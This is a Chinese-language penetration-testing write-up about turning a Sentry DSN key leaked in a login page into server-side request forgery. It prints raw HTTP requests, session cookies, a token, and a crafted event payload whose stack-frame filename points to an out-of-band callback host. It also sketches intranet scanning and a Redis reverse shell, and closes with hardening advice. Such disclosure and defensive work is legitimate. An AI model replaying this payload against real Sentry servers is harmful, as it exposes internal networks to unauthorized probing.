今天想和各位师傅分享一个近期实战中遇到的有趣案例。本以为只是个鸡肋的前端信息泄露,谁知顺藤摸瓜,竟利用 Sentry 的“贴心功能”打穿了后端的防御壁垒,完成了一次教科书级别的 SSRF攻击
0x01 故事背景
在日常的渗透测试或者漏洞挖掘中,你是否遇到过这样的情况:目标把业务防线做得很重,WAF 严阵以待,但那些用于辅助运维、监控报警的第三方边缘资产,往往如同阿喀琉斯之踵,暴露出致命的弱点?
这次的目标是一家大型企业的边缘资产 *.example.com。在枯燥的子域名扫描结束后,一个熟悉的监控面板引起了我的注意——sentry.example.com。
Sentry,全球无数开发者都在用的异常监控平台。大家对它的印象往往是“接收前端报错的黑盒”。但在那一刻,我的直觉告诉我:既然它要接收和处理错误数据,那如果我主动给它喂一口带毒的数据呢?
0x02 信息收集
由于没有账号,我只能在这个 Sentry 的登录页面外围打转。习惯性地打开 Chrome 开发者工具(F12),审查 HTML 源码。
在海量的冗余代码中,我开始寻找蛛丝马迹。果不其然,在页面底部一段初始化脚本中,我发现了异常
// 页面底部的初始化代码暴露了关键配置
window.__initialData = {
// ... 其他无关配置 ...
"dsn": "https://deadbeef1234567890abcdef12345678@sentry.example.com/1",
"sentry_key": "deadbeef1234567890abcdef12345678" // <--- 关键线索!
}
DSN Key (Data Source Name Key) 竟然直接明文硬编码在了未授权访问的页面源码里!

很多初学者看到这里可能就写个“低危:敏感信息泄露”交差了。但我脑子里却闪过一个念头:拿到 DSN Key,就意味着我已经拿到了向该项目上报异常数据的“合法门票”
0x03 漏洞利用
真正的魔法即将开始。我们要做的不是恶作剧般地上报垃圾数据,而是要思考 Sentry 后端处理异常的底层逻辑。
逻辑转换的瞬间:
当 Sentry 接收到一个 JavaScript 报错时,为了让开发者能在后台直观地看到是哪一行代码报错了,Sentry 的后端(服务端)会怎么做?
答案是:它会尝试去拉取报错堆栈中指定的 URL(即出错的 JS 文件或 SourceMap 源码),并在服务端进行解析映射!
如果我伪造一个报错事件,把出错的 JS 文件地址指向我自己的服务器(甚至目标的内网 IP),Sentry 后端是不是就会乖乖地帮我发起 HTTP 请求?这就是典型的 SSRF(Server-Side Request Forgery)!
说干就干,基于窃取到的 sentry_key,我开始构造恶意的上报数据包。
Step 1: 构造恶意 Payload
通过抓取正常的上报请求,我摸清了 /api/1/store/ 接口的数据结构。接下来,我在 Payload 的 stacktrace(堆栈跟踪)部分动了手脚。
Request1
GET /auth/login/sentry/ HTTP/2
Host: sentry.xxx.id
Sec-Ch-Ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Token: 999e62b967e2f8ddcec2ba70214f187f1d989ef87d9e1455a91b5aa0d365005adb5c43ef7eb3f9d37fd512ed4e0f28cdad919c9f00bae2b5e90ccb17dd82a372
Priority: u=0, i
Connection: keep-alive
Response 1
留下其中cookie作备用
HTTP/2 200 OK
Server: istio-envoy
Date: Thu, 07 May 2026 02:05:43 GMT
Content-Type: text/html
Content-Length: 7764
Expires: Thu, 07 May 2026 02:05:43 GMT
Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private
Vary: Accept-Language, Cookie
Content-Language: zh-cn
X-Frame-Options: deny
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
Content-Security-Policy-Report-Only: script-src 'self' 'unsafe-inline' 'report-sample' 'nonce-HupvQfzteZui4VTzKOKcXw=='; frame-ancestors 'none'; default-src 'none'; worker-src 'none'; object-src 'none'; style-src 'unsafe-inline' *; font-src 'self' data:; connect-src 'self' *.algolia.net *.algolianet.com *.algolia.io; media-src *; base-uri 'none'; img-src blob: data: *
Set-Cookie: sc=qD2vvIvx14Od36z8sZLtJgzNs0b1U3Vq; expires=Thu, 06 May 2027 02:05:43 GMT; Max-Age=31449600; Path=/; SameSite=Lax; Secure
Set-Cookie: sentrysid=eyJ0ZXN0Y29va2llIjoid29ya2VkIn0:1wKo7T:JQVbd_HLsTN05roHqLIDQGDIw_RyxWi0VikB8bm42ZI; expires=Thu, 21 May 2026 02:05:43 GMT; HttpOnly; Max-Age=1209600; Path=/; Secure
X-Envoy-Upstream-Service-Time: 23
从DSN中提取关键参数:
sentry_key:2763457fe4bf4a7b94acb1b2a4ab4650
Step2:利用获取到的 DSN Key,向 Sentry 的事件上报接口提交一个包含恶意 filename 字段的 JavaScript 异常事件。
Sentry 后端在处理该事件时,会尝试从 filename 指定的 URL 获取源码文件,从而触发服务端请求
拼接第一步的cookie

Request 2
POST /api/1/store/?sentry_key=2763457fe4bf4a7b94acb1b2a4ab4650&sentry_version=7 HTTP/2
Host: sentry.xxx.id
Cookie: sc=fLDHPUdAopjKRkWM79Yr3UCnNA31huf1; sentrysid=eyJ0ZXN0Y29va2llIjoid29ya2VkIn0:1wKo6V:zJGj4xI4Fgyr9k6gMENO87VrmPx23Q0NvypbrezgXJw
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Token: 999e62b967e2f8ddcec2ba70214f187f1d989ef87d9e1455a91b5aa0d365005adb5c43ef7eb3f9d37fd512ed4e0f28cdad919c9f00bae2b5e90ccb17dd82a372
Priority: u=0, i
Accept: */*
Content-Type: application/json
Content-Length: 322
{"exception":{"values":[{"type":"Error","value":"SSRF Test","stacktrace":{"frames":[{"filename":"http://ssrf.wtrkgebeyi.yutu.eu.org/ssrf-test.js","lineno":1,"colno":1,"function":"test"}]}}]},"platform":"javascript","event_id":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","sdk":{"name":"sentry.javascript.browser","version":"4.6.4"}}
Response 2
HTTP/2 200 OK
Server: istio-envoy
Date: Thu, 07 May 2026 02:34:55 GMT
Content-Type: application/json
Content-Length: 41
Vary: origin, access-control-request-method, access-control-request-headers
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-sentry-error,x-sentry-rate-limits,retry-after
Cross-Origin-Resource-Policy: cross-origin
X-Envoy-Upstream-Service-Time: 1
{"id":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"}
Step3:提交事件后,等待数秒,在外带验证平台上检查是否收到来自Sentry 服务端的请求

0x04 漏洞影响
不要小看这个 SSRF,一旦被武器化,它的杀伤力是极具毁灭性的。
现在,这台部署在目标内网边缘的 Sentry 服务器,已经变成了攻击者的**“绝对内网代理节点”**。
- 内网降维打击: 攻击者可以通过修改 filename 字段,将其指向内网地址(如 http://10.0.0.0/8、http://192.168.0.0/16),利用 Sentry 作为跳板,大规模探测内网存活主机和开放端口,直接绘制出目标的内网拓扑。
- 直捣黄龙: 如果目标内网中恰好存在无认证的脆弱服务(例如未授权的 Redis、Elasticsearch、或者裸奔的内部管理后台等),攻击者甚至可以通过 SSRF 利用 Gopher/HTTP 协议直接与这些服务交互,导致敏感数据大面积泄露,甚至通过 Redis 反弹 Shell 实现 RCE(远程命令执行)。
一个暴露在登录页前端的 Key,最终可能导致整个企业内网的倾覆。这就是渗透测试的魅力,也是安全防御的痛点所在。
0x05 防御与反思
从攻击者的快感中抽离出来,回到建设者的视角。产生这个漏洞的根源(Root Cause)到底是什么?
这其实是**“业务功能特性”与“网络安全隔离”**之间的典型冲突。Sentry 需要抓取源码来展示报错,这个功能本身没问题。问题在于,自建 Sentry 的运维人员往往忽略了对其网络出口的限制。
给开发/运维师傅们的加固建议:
- 凭证隔离: 不要将高权限或敏感环境的 DSN Key 直接暴露在未授权即可访问的登录页前端源码中。
- 应用层限制(Sentry 配置): 在 Sentry 的系统设置中,明确配置 Allowed Domains(允许的域名列表),仅允许 Sentry 服务器拉取受信任域名的资源,拒绝所有未知的 URL 解析请求。
- 网络层隔离(Egress 过滤): 既然 Sentry 是用来拉取外网资源或接受外网报错的,那么在防火墙策略上,应严格禁止 Sentry 所在的服务器向内网发起 HTTP 请求(屏蔽内网 IP 段的访问权限),将其彻底关进 DMZ 区的“笼子”里。
结语
安全没有绝对,每一个看似合理的功能背后,都可能潜伏着意想不到的利用链。作为一名热爱网络安全的大学生,这次挖掘经历让我深刻体会到:技术从来都不是孤立的,真正的黑客思维,是对系统流转逻辑的极致洞察。
希望这篇文章能对各位师傅有所启发。我们下个漏洞见!保持好奇,保持敬畏。